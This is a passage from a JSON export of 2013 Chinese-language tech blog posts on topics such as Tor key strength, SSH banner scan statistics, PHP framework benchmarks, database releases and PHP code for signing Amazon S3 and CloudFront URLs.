    "body": "看到「<a href=\"http://arstechnica.com/security/2013/09/majority-of-tor-crypto-keys-could-be-broken-by-nsa-researcher-says/\">Majority of Tor crypto keys could be broken by NSA, researcher says</a>」，說明 <a href=\"http://www.nsa.gov/\">NSA</a> 曾經跟 <a href=\"http://www.ibm.com/\">IBM</a> 訂作特殊晶片：\r\n\r\n<blockquote>\"Everyone seems to agree that if anything, the NSA can break 1024 RSA/DH keys,\" Graham wrote in a blog post published Friday. \"Assuming no 'breakthroughs,' the NSA can spend $1 billion on custom chips that can break such a key in a few hours. We know the NSA builds custom chips, they've got fairly public deals with IBM foundries to build chips.\"</blockquote>\r\n\r\n而目前大多數的 <a href=\"https://www.torproject.org/\">Tor</a> 節點都是用 2.3.x 的版本 (使用 1024bits DHE)，官方網站目前也是提供 2.3.x 下載，只有少數使用 2.4.x (使用 ECDHE)，不過一時間找不到 ECDHE 用多長的 EC key，所以也不清楚抵抗能力到底到麼程度...",
    "title": "1024bits 的 RSA 與 DH..."
  },
  {
    "id": "3537",
    "body": "<a href=\"http://www.zite.com/\">Zite</a> 上面看到 Linode 開始測試 SSD 了：「<a href=\"https://forum.linode.com/viewtopic.php?t=10406&amp;f=26\">Linode SSD (beta)</a>」。\r\n\r\n依照公告，目前只有 Newark 機房有提供測試，同時也說明在 beta 階段不保證資料安全性。\r\n\r\n在討論區除了官方有提供數據外，也有人有貼出測試結果。看起來有改善，但好像沒想像中多... XD",
    "title": "Linode 的 SSD 計畫..."
  },
  {
    "id": "3541",
    "body": "<a href=\"http://laravel.com/\">Laravel</a> 是個 <a href=\"http://www.php.net/\">PHP</a> framework，是目前還蠻常看到討論的 PHP framework。不過實際在研究後發現用起來有點苦啊...\r\n\r\nLaravel 官方覺得 <a href=\"http://www.php-fig.org/psr/2/\">PSR-2</a> 是個鳥蛋 (參考 <a href=\"https://github.com/\">GitHub</a> 上的 issue：「<a href=\"https://github.com/laravel/laravel/issues/1606\">PSR-2 Conflicts</a>」)，而我也知道 PSR-2 不怎樣，但這好歹是個標準可以靠啊...\r\n\r\n另外一個是 overhead，在 <a href=\"http://aws.amazon.com/\">AWS</a> 上用 m1.large 跑 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 64bits 測試純 PHP 的 <code>echo \"Hello, world.\";</code> 可以到 8000 reqs/sec (這是開了 <a href=\"http://pecl.php.net/package/APC\">APC</a> 的情況測試，比較接近 production)，但同樣是要顯示 <code>Hello, world.</code>，用了 Laravel 後剩下 174 reqs/sec (debug mode 已經關閉)，如果再套上 Laravel 的 View 就剩下 152 reqs/sec...\r\n\r\n也就是說這個數字是起點 (往下的起點)，這樣看起來有點慘烈啊...",
    "title": "用起來有點苦的 Laravel..."
  },
  {
    "id": "3544",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"http://yllan.org/\">yllan</a> 提到 SSL certificate 的問題：\r\n\r\n<blockquote class=\"twitter-tweet\"><p>原來現在早就支援同 IP 可以放好多個 vhost + SSL cert 了。</p>&mdash; yllan (藍永倫) (@yllan) <a href=\"https://twitter.com/yllan/statuses/377256944299692032\">September 10, 2013</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這是看 client 對 <a href=\"https://en.wikipedia.org/wiki/Server_Name_Indication\">Server Name Indication</a> 的支援程度而決定的。\r\n\r\n在維基百科說明中「Browsers with support for TLS server name indication」這段裡面列出來的瀏覽器，可以看出來其實最大的問題就是 Windows XP 上的 IE{6,7,8} 不支援。(但 Windows Vista 以及 Windows 7 的 IE{7,8} 支援 SNI)\r\n\r\n手上一時間找不到 Windows XP + IE{6,7,8} 的數量，但 <a href=\"http://gs.statcounter.com/\">gs.statcounter.com</a> 上有幾個數字可以參考。\r\n\r\n首先是台灣 IE8 的用戶數量：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zrSSRF8.webp\" /><img src=\"https://i.gslin.com/imgur/zrSSRF8.jpg\" alt=\"\" /></picture>\r\n\r\n再來是 Windows XP 數量：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/A4RLJnB.webp\" /><img src=\"https://i.gslin.com/imgur/A4RLJnB.jpg\" alt=\"\" /></picture>\r\n\r\n以這兩個圖的資料來看，還是不太能用啊... :o",
    "title": "SNI 支援 (單一 IP 多個 SSL Certificate)"
  },
  {
    "id": "3547",
    "body": "其實我不知道 <a href=\"https://www.outlook.com/\">Outlook.com</a> 一直都沒支援 IMAP...\r\n\r\n剛剛 <a href=\"http://www.zite.com/\">Zite</a> 上看到微軟公佈 Outlook.com 的 IMAP 功能：「<a href=\"http://blogs.office.com/b/microsoft-outlook/archive/2013/09/12/outlook-com-now-with-imap.aspx\">Outlook.com now has IMAP</a>」。這篇文章有點長，後面還有「Developers interested in connecting to IMAP should refer to the below technical information.」然後列出支援的 IMAP 指令，這些指令對於搬家應該是夠用了...\r\n\r\n雖然搬來搬去都還是美國公司...\r\n\r\n另外是 IMAP 與 <a href=\"http://oauth.net/2/\">OAuth2</a> 的結合，看起來是透過 HTTPS 網站拿到 token 後，透過 IMAP 存取資料...",
    "title": "Outlook.com 支援 IMAP..."
  },
  {
    "id": "3549",
    "body": "平常都是掃 Port 80/443，然後就有人跑去掃 Port 22：「<a href=\"http://blog.erratasec.com/2013/09/we-scanned-internet-for-port-22.html\">We scanned the Internet for port 22</a>」。依照原文說的，這次給的數據只是 60% 的 Internet，其他 40% 的資料有問題，他要再想辦法修...\r\n\r\n這是 Top 20 的 unique banner 數據：\r\n\r\n<pre> 1730887 SSH-2.0-OpenSSH_4.3\r\n 1562709 SSH-2.0-OpenSSH_5.3\r\n 1067097 SSH-2.0-dropbear_0.46\r\n  824377 SSH-2.0-dropbear_0.51\r\n  483318 SSH-2.0-dropbear_0.52\r\n  348878 SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1\r\n  327841 SSH-1.99-Cisco-1.25\r\n  320539 SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze3\r\n  318279 SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.1\r\n  307028 SSH-2.0-ROSSSH\r\n  271614 SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze2\r\n  233842 SSH-2.0-OpenSSH_5.1p1 Debian-5\r\n  225095 SSH-2.0-OpenSSH_5.1\r\n  224991 SSH-2.0-OpenSSH_5.1p1 FreeBSD-20080901\r\n  213201 SSH-2.0-OpenSSH_4.7\r\n  209023 SSH-2.0-OpenSSH_6.0p1 Debian-4\r\n  195977 SSH-2.0-OpenSSH_5.3p1 Debian-3ubuntu7\r\n  140809 SSH-2.0-dropbear_0.50\r\n  135821 SSH-2.0-OpenSSH\r\n  132351 SSH-2.0-Cisco-1.25</pre>\r\n\r\n可以看到 <a href=\"http://www.openssh.org/\">OpenSSH</a> 是最大宗，而 <a href=\"https://matt.ucc.asn.au/dropbear/dropbear.html\">dropbear</a> 應該是各種 box 的量撐起來的...\r\n\r\n參考維基百科上 <a href=\"https://en.wikipedia.org/wiki/OpenSSH\">OpenSSH 的條目</a>，OpenSSH 的各版本的發行日期分別是：\r\n<ul>\r\n\t<li>3.5：2002/10/14 (FreeBSD 4.11)</li>\r\n\t<li>4.3：2006/02/01</li>\r\n\t<li>4.7：2007/09/04</li>\r\n\t<li>5.1：2008/07/21</li>\r\n\t<li>5.3：2009/10/01</li>\r\n\t<li>5.4：2010/03/08 (FreeBSD 8.3)</li>\r\n\t<li>5.5：2010/04/16 (Debian 6)</li>\r\n\t<li>5.7：2011/01/24</li>\r\n\t<li>5.8：2011/02/04 (FreeBSD 9.1)</li>\r\n\t<li>5.9：2011/09/06</li>\r\n\t<li>6.0：2012/04/22 (Debian 7)</li>\r\n\t<li>6.1：2012/08/29 (FreeBSD 8.4)</li>\r\n</ul>\r\n後面的作業系統是就手上有的機器來看，不過 4.3 是最多的是怎麼一回事呢... 作者這樣解釋：\r\n<blockquote>Note that these counts are a bit off. Some networks have a router that forwards all connections of a certain port to a single machine. Maybe \"OpenSSH_4.3\" is most popular banner, or maybe the national ISP of Elbonia just reroutes all port 22 requests.</blockquote>\r\n所以有可能只是個假象？XD",
    "title": "掃整個 Internet 的 Port 22..."
  },
  {
    "id": "3552",
    "body": "<a href=\"https://www.google.com/\">Google</a> 的 <a href=\"http://jcole.us/\">Jeremy Cole</a> 在 <a href=\"https://conf-slac.stanford.edu/xldb-2013/content/xldb-2013-7th-extremely-large-databases-conference\">XLDB 2013</a> (Extremely Large Databases) 上的演講投影片：「<a href=\"https://conf-slac.stanford.edu/sites/conf-slac.stanford.edu.xldb-2013/files/JCole_10.35_The%20MySQL%20Ecosystem%20at%20Scale%2016x9.pdf\">The MySQL Ecosystem at Scale</a>」(PDF)。\r\n\r\n投影片內對於 <a href=\"http://dev.mysql.com/\">MySQL</a> 的歷史以及現況的說明的很清楚，另外就是 sharding 那塊的方式很值得看一看，量大之後大家解決的方法都差不多，算是已經被證實可行的方法了。",
    "title": "Jeremy Cole 在 XLDB 2013 上的演講：「The MySQL Ecosystem at Scale」"
  },
  {
    "id": "3556",
    "body": "前幾天 <a href=\"http://www.postgresql.org/\">PostgreSQL</a> 宣佈 9.3 發佈：「<a href=\"http://www.postgresql.org/about/news/1481/\">PostgreSQL 9.3 released!</a>」。\r\n\r\n如同預測的，9.3 對 <a href=\"http://www.json.org/\">JSON</a> 的處理能力變強了，加上可以自訂 index (寫 function 自訂 index 的內容)，這使得 PostgreSQL 可以做 JSON-based document database，可以參考 9.3 的「<a href=\"http://www.postgresql.org/docs/9.3/static/functions-json.html\">PostgreSQL: Documentation: 9.3: JSON Functions and Operators</a>」以及前一版 9.2 的「<a href=\"http://www.postgresql.org/docs/9.2/static/functions-json.html\">PostgreSQL: Documentation: 9.2: JSON Functions</a>」。\r\n\r\n<a href=\"http://www.mongodb.org/\">MongoDB</a> 就別來亂了... XD",
    "title": "PostgreSQL 9.3..."
  },
  {
    "id": "3558",
    "body": "Reverse Proxy 的 Cache Infrastructure 在遇到 cache invalidate 都是很討厭的問題，不是不能做，而是效能不太好... 常見的作法是設計成不用 purge 的形式，只要是需要更新，就產生不同的 url，而舊的 url 在沒人 access 後會透過各種 <a href=\"https://en.wikipedia.org/wiki/Cache_algorithms\">Cache algorithms</a> 自動回收掉，像是 LRU (Least Recently Used) 之類的演算法。\r\n\r\n發展久了之後也因此衍伸出很多不同的架構，像是 <a href=\"https://github.com/golang/groupcache\">groupcache</a> 就是假設在同一個 address 的內容永遠不會變的前提。\r\n\r\n而 <a href=\"https://www.varnish-cache.org/\">Varnish Cache</a> 這次發表的東西則是打算從根本問題解決，也就是想辦法讓 purge (cache invalidate) 的成本降低：「<a href=\"https://www.varnish-software.com/blog/simple-scales-better-and-faster-real-world\">Simple scales better and faster in the real world</a>」、「<a href=\"https://www.varnish-software.com/blog/vac-203-high-performance-cache-invalidation-api-aka-super-fast-purger\">VAC 2.0.3 with high performance cache invalidation API (aka the Super Fast Purger)</a>」。\r\n\r\n官方的說法，在大台機器上可以到 60k reqs/sec：\r\n<blockquote>Kristian nonchalantly mentioned that the Super Fast Purger did 60,000 requests per second, on a 6 core Xeon with 36GB memory, traffic over a gigabit network to a single Varnish Cache server, with httperf as test client. But we believe the Super Fast Purger can do a lot more with a little love and tuning.</blockquote>\r\n<a href=\"http://www.squid-cache.org/\">Squid</a> 效能不好，<a href=\"http://trafficserver.apache.org/\">ATS</a> 的文件很傷，是該找時間來測試看看...",
    "title": "Varnish 的 Super Fast Purger..."
  },
  {
    "id": "3561",
    "body": "英文版的公告內容：「<a href=\"http://us.battle.net/d3/en/blog/10974978/diablo%C2%AE-iii-auction-house-update-9-17-2013\">Diablo® III Auction House Update</a>」，以及中文版的公告內容：「<a href=\"http://tw.battle.net/d3/zh/blog/10974978/\">《暗黑破壞神®III》拍賣場最新消息</a>」。\r\n\r\n重點文字有兩段，第一段是說明未來的遊戲金幣交易以及現金交易將被移除：\r\n\r\n<blockquote>With that in mind, we want to let everyone know that we've decided to remove the gold and real-money auction house system from Diablo III.</blockquote>\r\n\r\n<blockquote>因此，我們想讓大家知道，我們已決定移除《暗黑破壞神III》的金幣拍賣場和現金拍賣場系統。</blockquote>\r\n\r\n第二段的重點是中止的時間點：\r\n\r\n<blockquote>Please note that the shutdown will occur on March 18, 2014. We will keep everyone informed as we work through this process.</blockquote>\r\n\r\n<blockquote>請注意，拍賣場系統將會在2014年3月18日關閉。一旦有最新消息，我們將會另行通知大家。</blockquote>",
    "title": "Diablo III 將移除拍賣場 (包含了現金交易市場以及遊戲金幣交易市場)..."
  },
  {
    "id": "3563",
    "body": "剛好看到「<a href=\"http://blog.streamingmedia.com/2013/09/whats-apples-ios7-download-worth-akamai-heres-numbers.html\">By My Estimates, Apple’s iOS7 Download Business Is Worth About $10-$12M To Akamai</a>」這篇，講到這次蘋果 iOS 7 的下載讓 <a href=\"http://www.akamai.com/\">Akamai</a> 有一筆不小的收入...\r\n\r\n正想要下載 <a href=\"http://www.virtualbox.org/\">VirtualBox</a>，沒遇過 <a href=\"http://www.hinet.net/\">HiNet</a> 機房的 Akamai 這麼慢... XD\r\n\r\n<pre>gslin@GSLIN-DESKTOP [~/tmp] [13:31/W3] wget http://download.virtualbox.org/virtualbox/4.2.18/virtualbox-4.2_4.2.18-88780~Ubuntu~precise_amd64.deb\r\n--2013-09-19 13:32:17--  http://download.virtualbox.org/virtualbox/4.2.18/virtualbox-4.2_4.2.18-88780~Ubuntu~precise_amd64.deb\r\n正在查找主機 download.virtualbox.org (download.virtualbox.org)... 137.254.120.26\r\n正在連接 download.virtualbox.org (download.virtualbox.org)|137.254.120.26|:80... 連上了。\r\n已送出 HTTP 要求，正在等候回應... 302 Moved Temporarily\r\n位置：http://dlc.sun.com.edgesuite.net/virtualbox/4.2.18/virtualbox-4.2_4.2.18-88780~Ubuntu~precise_amd64.deb [跟隨連結]\r\n--2013-09-19 13:32:18--  http://dlc.sun.com.edgesuite.net/virtualbox/4.2.18/virtualbox-4.2_4.2.18-88780~Ubuntu~precise_amd64.deb\r\n正在查找主機 dlc.sun.com.edgesuite.net (dlc.sun.com.edgesuite.net)... 203.69.141.82, 203.69.141.10\r\n正在連接 dlc.sun.com.edgesuite.net (dlc.sun.com.edgesuite.net)|203.69.141.82|:80... 連上了。\r\n已送出 HTTP 要求，正在等候回應... 200 OK\r\n長度： 64206462 (61M) [application/x-debian-package]\r\nSaving to: `virtualbox-4.2_4.2.18-88780~Ubuntu~precise_amd64.deb'\r\n\r\n2013-09-19 13:35:47 (301 KB/s) - `virtualbox-4.2_4.2.18-88780~Ubuntu~precise_amd64.deb' saved [64206462/64206462]</pre>\r\n\r\n試了幾次，有些還會導到美國機房分流... 量真的太大了 :o",
    "title": "iOS 7 的下載與 Akamai..."
  },
  {
    "id": "3565",
    "body": "<a href=\"http://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 在 CNAME 的地方可以填 <code>*.example.com</code> 表示這個 distribution 要吃所有 domain：「<a href=\"http://aws.typepad.com/aws/2013/09/wildcard-support-for-amazon-cloudfront.html\">CNAME Wildcard Support for Amazon CloudFront</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/c37yvLk.webp\" /><img src=\"https://i.gslin.com/imgur/c37yvLk.jpg\" alt=\"\" /></picture>\r\n\r\n這用在 asset 類的服務很好用，可以設定 <code>*.asset.example.com</code>，然後就可以用 <code>{1,2,3,4}.asset.example.com</code> 打散掉。以往則是要手動設多個 domain，沒辦法隨便調整...",
    "title": "Amazon CloudFront 支援 Wildcard 了..."
  },
  {
    "id": "3567",
    "body": "<a href=\"http://www.percona.com/software/percona-xtradb-cluster\">Percona XtraDB Cluster</a> (<a href=\"http://codership.com/content/using-galera-cluster\">Galera Cluster</a>) 出新版：「<a href=\"http://www.mysqlperformanceblog.com/2013/09/18/percona-xtradb-cluster-5-5-33-23-7-6-now-available/\">Percona XtraDB Cluster 5.5.33-23.7.6 is now available</a>」。\r\n\r\n看到了幾個比較特別的功能：\r\n<blockquote>Desync functionality has now been exposed to the client. This can be done either via /*! WSREP_DESYNC */ comment on the query or by setting the global wsrep_desync variable to 1.</blockquote>\r\n這個功能感覺上是打算為了在 <a href=\"http://www.percona.com/software/percona-toolkit\">Percona Toolkit</a> 裡面配合 <a href=\"http://www.percona.com/doc/percona-toolkit/2.1/pt-table-sync.html\">pt-table-sync</a> 而準備的？\r\n\r\n另外一個重要的功能是限速，這可以避免在伺服器最忙碌的時候加重負擔造成伺服器撐不住：\r\n<blockquote>Percona XtraDB Cluster has implemented new rate limiting, rlimit, option for XtraBackup SST that can be used to avoid saturating the donor node.</blockquote>\r\n以往我是自己 patch 一個 shell script 出來用，現在則變成是原生支援，那麼本來的 patch 方式就要轉換到原生支援上...\r\n\r\n然後文末有建議 <a href=\"http://www.debian.org/\">Debian</a> 使用者在升級前要先安裝 <a href=\"http://packages.debian.org/socat\">socat</a>，避免升級發生問題 :o",
    "title": "Percona XtraDB Cluster 5.5.33-23-7.6..."
  },
  {
    "id": "3571",
    "body": "<a href=\"http://aws.amazon.com/s3/\">Amazon S3</a> 可以在上傳時設定為 non-public，這種檔案如果要讓使用者讀取，就必須透過 URL 簽名的方式...\r\n\r\n官方的文件是「<a href=\"http://s3.amazonaws.com/doc/s3-developer-guide/RESTAuthentication.html\">Authenticating REST Requests</a>」這篇，不過官方文件把所有細節都寫上去，如果第一次接觸的人反而不知道要怎麼辦...\r\n\r\n<a href=\"https://coderwall.com/mcansky\">Thomas Riboulet</a> 給了一個 Quickstart 的範例：「<a href=\"https://coderwall.com/p/mtcskq\">Signing Amazon S3 URLs</a>」，裡面雖然是 <a href=\"http://www.ruby-lang.org/\">Ruby</a> code，不過 code 的邏輯很簡單...\r\n\r\n以 test.gslin.org 為例，想要產生出從現在開始 3600 秒內有效的 url 可以這樣寫，用過一次後再回去看官方文件，就會發現其實就是官方文件的「REST Authentication Example 3: Query String Authentication Example」這段，如果以 <a href=\"http://php.net/\">PHP</a> 寫會長這樣：\r\n\r\n<pre>&lt;?php\r\n\r\n$access_key = \"\";\r\n$secret_key = \"\";\r\n\r\n$timestamp = time() + 3600;\r\n$data = \"GET\\n\\n\\n${timestamp}\\n/test.gslin.org/test.txt\";\r\n\r\n$sign = urlencode(\r\n    base64_encode(\r\n        hash_hmac('sha1', $data, $secret_key, true)\r\n    )\r\n);\r\n\r\necho \"http://test.gslin.org.s3.amazonaws.com/test.txt?\" .\r\n    \"AWSAccessKeyId=${access_key}&amp;\" .\r\n    \"Expires=${timestamp}&amp;\" .\r\n    \"Signature=${sign}\\n\";</pre>\r\n\r\n接下來來研究 <a href=\"http://aws.amazon.com/cloudfront/\">CloudFront</a> 的部份...",
    "title": "Amazon S3 上 Protected Content 的 URL Sign..."
  },
  {
    "id": "3577",
    "body": "好幾個新聞來源都有看到 <a href=\"http://open-zfs.org/\">OpenZFS</a> 成立：「<a href=\"http://hardware.slashdot.org/story/13/09/17/233207/openzfs-project-launches-uniting-zfs-developers\">OpenZFS Project Launches, Uniting ZFS Developers</a>」(<a href=\"http://slashdot.org/\">Slashdot</a>)、「<a href=\"http://www.osnews.com/story/27328/OpenZFS_launch_announcement\">OpenZFS launch announcement</a>」。\r\n\r\nOpenZFS 的正式公告在「<a href=\"http://open-zfs.org/wiki/Announcement\">Announcement</a>」這邊，雖然沒有明講是要脫離 <a href=\"http://www.oracle.com/\">Oracle</a> 的控制，但宣示對社群更公開這點其實就很清楚了 (To encourage open communication about ongoing efforts to improve open source OpenZFS, ...)。\r\n\r\n隔壁棚 Oracle 前員工 (現在在 <a href=\"http://www.fusionio.com/\">Fusion-io</a>) 弄出來的 <a href=\"https://en.wikipedia.org/wiki/Btrfs\">Btrfs</a> 的進展也不差，兩邊都在進步...",
    "title": "OpenZFS 成立..."
  },
  {
    "id": "3580",
    "body": "剛剛翻資料發現 <a href=\"http://php.net/manual/en/function.json-encode.php\">json_encode</a> 奇怪的老問題總算有解...\r\n\r\n這樣的程式碼：\r\n\r\n<pre>&lt;?php\r\necho json_encode(\"http://www.google.com/\"), \"\\n\";</pre>\r\n\r\n會輸出這樣的結果：\r\n\r\n<pre>\"http:\\/\\/www.google.com\\/\"</pre>\r\n\r\n這是合法的 <a href=\"http://www.json.org/\">JSON</a> 沒錯 (JSON 規格允許 string 裡面使用 <code>\\/</code>)，但看起來就很不爽啊，明明 <code>/</code> 就是可以合法輸出的字元... 然後剛剛看到 <a href=\"http://php.net/\">PHP</a> 5.4.0 加上這些東西：\r\n\r\n<blockquote>JSON_PRETTY_PRINT, JSON_UNESCAPED_SLASHES, and JSON_UNESCAPED_UNICODE options were added.</blockquote>\r\n\r\n測了 <code>JSON_UNESCAPED_SLASHES</code>，看起來舒服多了：\r\n\r\n<pre>&lt;?php\r\necho json_encode(\"http://www.google.com/\", JSON_UNESCAPED_SLASHES), \"\\n\";</pre>\r\n\r\n輸出結果是：\r\n\r\n<pre>\"http://www.google.com/\"</pre>",
    "title": "PHP 5.4 的 json_encode 增加 JSON_UNESCAPED_SLASHES..."
  },
  {
    "id": "3582",
    "body": "<a href=\"http://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 也可以設定要簽名才能抓檔案，只是 URL Sign 設計的觀念跟 <a href=\"http://aws.amazon.com/s3/\">Amazon S3</a> 完全不一樣，這不一致的調調很... 詭異...\r\n\r\n大致上有這些差異：\r\n<ul>\r\n\t<li>Amazon S3 用的是 HMAC-SHA1 的機制簽名 (shared secret，也就是 Amazon S3 與你都有同一把 key)，而 Amazon CloudFront 則是用 RSA key 簽名 (public key，也就是 Amazon CloudFront 存放 public key，你自己存放 private key)。</li>\r\n\t<li>也因為是使用 RSA key，有人會誤解跟 <a href=\"http://aws.amazon.com/ec2/\">Amazon EC2</a> 用的 RSA key 相同。但實際上需要在 Security Credentials 頁裡設，有專門對 Amazon CloudFront 用的 RSA key 的段落。</li>\r\n\t<li>自己對 Base64 編碼再處理，避開使用 <code>+</code>、<code>=</code> 以及 <code>/</code>。但不是有標準可以用嗎，為什麼要自己發明呢...</li>\r\n\t<li>引入 Policy 的彈性機制，不僅可以對時間控制，也可以對 IP address 控制，但 Policy 這是帶在 URL 裡傳進去的... 你可以看到我的程式碼內產生出 <code>$json_str</code> 後簽完名帶到 URL 內了。</li>\r\n</ul>\r\n官方的 <a href=\"http://aws.amazon.com/code/3514\">CloudFront Signed URLs in PHP</a> 這篇的範例程式碼其實很清楚了，要直接拿去用其實也沒麼問題。我自己整理後是這樣：\r\n<pre>&lt;?php\r\n\r\n$key_pair_id = 'APKA...';\r\n$pem_file = '';\r\n$resource = 'http://test2-cdn.gslin.org/test.txt';\r\n\r\n$expires = time() + 3600;\r\n\r\n$json_str = json_encode(\r\n    array(\r\n        'Statement' =&gt; array(\r\n            array(\r\n                'Resource' =&gt; $resource,\r\n                'Condition' =&gt; array(\r\n                    'DateLessThan' =&gt; array(\r\n                        'AWS:EpochTime' =&gt; $expires\r\n                    )\r\n                )\r\n            )\r\n        )\r\n    ),\r\n    JSON_UNESCAPED_SLASHES\r\n);\r\n\r\n$buf = file_get_contents($pem_file);\r\n$key = openssl_get_privatekey($buf);\r\n\r\nopenssl_sign($json_str, $signed_policy, $key, OPENSSL_ALGO_SHA1);\r\n\r\nopenssl_free_key($key);\r\n\r\n$signature = str_replace(\r\n    array('+', '=', '/'),\r\n    array('-', '_', '~'),\r\n    base64_encode($signed_policy)\r\n);\r\n\r\necho \"${resource}?\",\r\n    \"Expires=${expires}&\",\r\n    \"Signature=${signature}&\",\r\n    \"Key-Pair-Id=${key_pair_id}\\n\";</pre>\r\n\r\n反正你搞不太懂 <a href=\"http://aws.amazon.com/\">Amazon</a> 為什麼要這樣設計的... =_=",
    "title": "Amazon CloudFront 上 Protected Content 的 URL Sign..."
  },
  {
    "id": "3590",
    "body": "2007 年的「<a href=\"http://www.mysqlperformanceblog.com/2007/11/01/innodb-performance-optimization-basics/\">Innodb Performance Optimization Basics</a>」這篇是以當時的環境寫的 (<a href=\"http://dev.mysql.com/\">MySQL</a> 5.0)。過了六年，出了 MySQL 5.1、5.5，目前新版是 5.6。\r\n\r\n於是就冒出這篇 2013 年版：「<a href=\"http://www.mysqlperformanceblog.com/2013/09/20/innodb-performance-optimization-basics-updated/\">InnoDB performance optimization basics (updated)</a>」。\r\n\r\n主要是新的科技與技術讓 InnoDB 有更多選擇可以用。SSD 的發明讓 i/o 效率更好，而檔案系統的改善使得 ext4 開始被大家接受。\r\n\r\n另外 InnoDB 自己的改善也能夠充分發揮現代硬體的能力，尤其是對多核心的延展能力。\r\n\r\n這篇該講的都有講到，文末雖然打自家廣告推薦 <a href=\"http://www.percona.com/software/percona-server\">Percona Server with XtraDB</a>，不過這的確是個好東西。",
    "title": "Percona 對 InnoDB 效能的建議..."
  },
  {
    "id": "3593",
    "body": "在 <a href=\"http://www.zite.com/\">Zite</a> 上看到 <a href=\"http://www.apple.com/ios/\">iOS</a> 7 支援 <a href=\"https://en.wikipedia.org/wiki/Multipath_TCP\">MPTCP</a> 的消息：「<a href=\"http://9to5mac.com/2013/09/19/ios-7-becomes-first-commercial-software-to-support-multipath-tcp-allowing-simultaneous-wi-fi-and-cell-network-connections/\">iOS 7 becomes first commercial software to support multipath TCP, allowing simultaneous Wi-Fi and cell network connections</a>」，這東西很新啊，今年一月才丟出 Experimental standard...\r\n\r\nMPTCP 在行動平台上可以讓 3G/4G 與 Wi-Fi 網路混在一起用，如果有支援的話，對開發應用程式的人又更方便了一些... iOS 7 上的 <a href=\"http://www.apple.com/ios/siri/\">Siri</a> 則是第一波使用 MPTCP 的程式...\r\n\r\n不過 <a href=\"http://www.linux.org/\">Linux</a> 與 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 都還沒支援，只有 open source implementation (也就是要自己 patch)。",
    "title": "iOS 7 支援 MPTCP (Multipath TCP)"
  },
  {
    "id": "3595",
    "body": "特地寫是因為 <a href=\"http://jquery.org/\">jQuery</a> 1.11 將會是第一個完整切換到 <a href=\"https://en.wikipedia.org/wiki/Asynchronous_module_definition\">AMD</a> (Asynchronous Module Definition) 架構的版本：「<a href=\"http://blog.jquery.com/2013/09/19/jquery-1-11-and-2-1-beta-1-released/\">jQuery 1.11 and 2.1 Beta 1 Released</a>」。\r\n\r\n雖然對 AMD 並不是全正面的看法，不過畢竟是一個通用的標準...",
    "title": "jQuery 1.11 Beta 1 與 2.1 Beta 1..."
  },
  {
    "id": "3597",
    "body": "在 <a href=\"http://www.zite.com/\">Zite</a> 上看到 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 10 的改變：「<a href=\"http://www.freebsdnews.net/2013/09/20/freebsd-10s-new-technologies-and-features/\">FreeBSD 10's New Technologies and Features</a>」。\r\n\r\n最耀眼的當然是對 <a href=\"http://gcc.gnu.org/\">GCC</a> 的宣戰達到高潮，第一個將預設編譯器換掉的 major release。同樣的，也把 <a href=\"http://www.gnu.org/\">GNU</a> 的 libstdc++ 換成 MIT license 實作的 libc++。\r\n\r\n再來是 <a href=\"http://www.isc.org/\">ISC</a> 的 <a href=\"http://www.isc.org/downloads/bind/\">BIND</a> 被換掉，改用 <a href=\"http://unbound.net/\">Unbound</a> 以及 <a href=\"http://www.nlnetlabs.nl/projects/ldns/\">LDNS</a>。\r\n\r\n然後 UFS 檔案系統可以透過 growfs(8) 線上長大... XDDD\r\n\r\n其他的改善包括了 iSCSI stack 重寫，PF 防火牆可以善用 SMP 資源，以及 ZFS 的更新。等正式出版後應該還是會等到 10.1 再上 production 吧？感覺 compiler 一換不知道會有多少雷啊 XD",
    "title": "FreeBSD 10 的改變..."
  },
  {
    "id": "3601",
    "body": "在「<a href=\"http://readwrite.com/2013/09/20/tim-cook-joins-twitter\">Apple CEO Tim Cook Joins Twitter</a>」這篇報導裡面看到的消息，這是 <a href=\"https://en.wikipedia.org/wiki/Tim_Cook\">Tim Cook</a> 的第一則 tweet：\r\n\r\n<blockquote class=\"twitter-tweet\"><p>Visited Retail Stores in Palo Alto today. Seeing so many happy customers reminds us of why we do what we do.</p>&mdash; Tim Cook (@tim_cook) <a href=\"https://twitter.com/tim_cook/statuses/381131235247923201\">September 20, 2013</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>",
    "title": "Tim Cook 開 Twitter..."
  },
  {
    "id": "3605",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://twitter.com/b123400\">b123400</a> 的 retweet，專程貼出來有種好無奈的感覺... XD\r\n\r\n<blockquote class=\"twitter-tweet\"><p>probably the saddest graph ever shown in a CS conference. <a href=\"https://twitter.com/search?q=%23Linux&amp;src=hash\">#Linux</a> <a href=\"https://twitter.com/search?q=%23tshirtsize&amp;src=hash\">#tshirtsize</a> <a href=\"http://t.co/RWBnTSJ2ip\">pic.twitter.com/RWBnTSJ2ip</a></p>&mdash; AlexandrosKapravelos (@kapravel) <a href=\"https://twitter.com/kapravel/statuses/375431377333653504\">September 5, 2013</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>",
    "title": "1999 年與 2008 年 Conference T-shirt size 的差別..."
  },
  {
    "id": "3607",
